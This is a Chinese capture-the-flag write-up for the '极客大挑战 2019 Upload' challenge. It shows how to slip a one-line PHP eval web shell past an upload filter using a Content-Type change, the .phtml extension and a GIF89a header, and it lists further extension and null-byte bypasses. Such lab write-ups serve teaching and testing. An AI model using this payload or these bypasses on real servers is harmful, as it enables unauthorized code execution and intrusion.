当前位置: 首页 > news >正文

[极客大挑战 2019]Upload

目录

解题步骤

常见的绕过思路


解题步骤

直接上传shell

回显:Not image!

bp抓包

修改类型

Content-Type: application/octet-stream改为Content-Type: image/jpg

回显:NOT!php!

修改后缀为phtml

回显:NO! HACKER! your file included '<?'

修改过滤的<?,此处用到常见的代替绕过代码

GIF89a
<script language="php">eval($_REQUEST['coleak'])</script>

上传成功的数据为

 回显为:上传文件名: coleak2.phtml,并没有给出文件的具体位置

尝试下发现在/upload/coleak2.phtml

连接蚁剑拿到flag

常见的绕过思路

  • 先把上传的文件改名为shell.jpg,bp抓包时再在filename处将.jpg改为.php(.html等)
  • burpsuite抓包更改Content-Type由application/octet-stream改为image/jpg
  • 构造图片马上传
  • 错误扩展名

原理:当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。

将一句话木马的文件名 shell.php,改成shell.php.abc。首先,服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单规则,即可上传。另外,当在浏览器端访问该文件时,Apache如果解析不了.abc扩展名,会向前寻找可解析的扩展名,即.php。一句话木马可以被解析,apache解析文件名从后往前解析。

  • 00截断上传
  • php版本小于5.3.29
  • magic_quotes_gpc = Off

相关文章:

  • 做个手机网站多少钱 广州/百度搜索引擎竞价排名
  • dreamweaver 做网站/网店运营是做什么的
  • 怎么做网站后期推广/百度官方入口
  • jsp动态网站开发实践教程(第2版)/百度收录权重
  • 做动漫网站需要服务器么/seo权重是什么意思
  • 大连网络营销公司哪家好/seo关键词怎么优化
  • 指针习题(1):升序排序
  • 【自学Docker】Docker环境命令
  • Nginx高并发实现原理学习
  • 32位机虚拟内存地址最大0xFFFFFFFF是怎么得出来的?内存大小与地址的对应关系以及计算方法?
  • 谷歌账号被封怎么办?谷歌账号解封申诉步骤请收好!
  • 分布式-数据库治理
  • LeetCode题解 回溯(五):332 重新安排行程;51 N皇后;37 解数独 —— hard三连
  • 注意力FM模型AFM
  • 2023年基建工程(设计规划施工)经验分享,超多干货
  • 有哪些数据恢复软件?13个好用的数据恢复工具分享
  • 基于YOLOv4的车辆检测 MATLAB实现
  • 简单聊聊泛型编程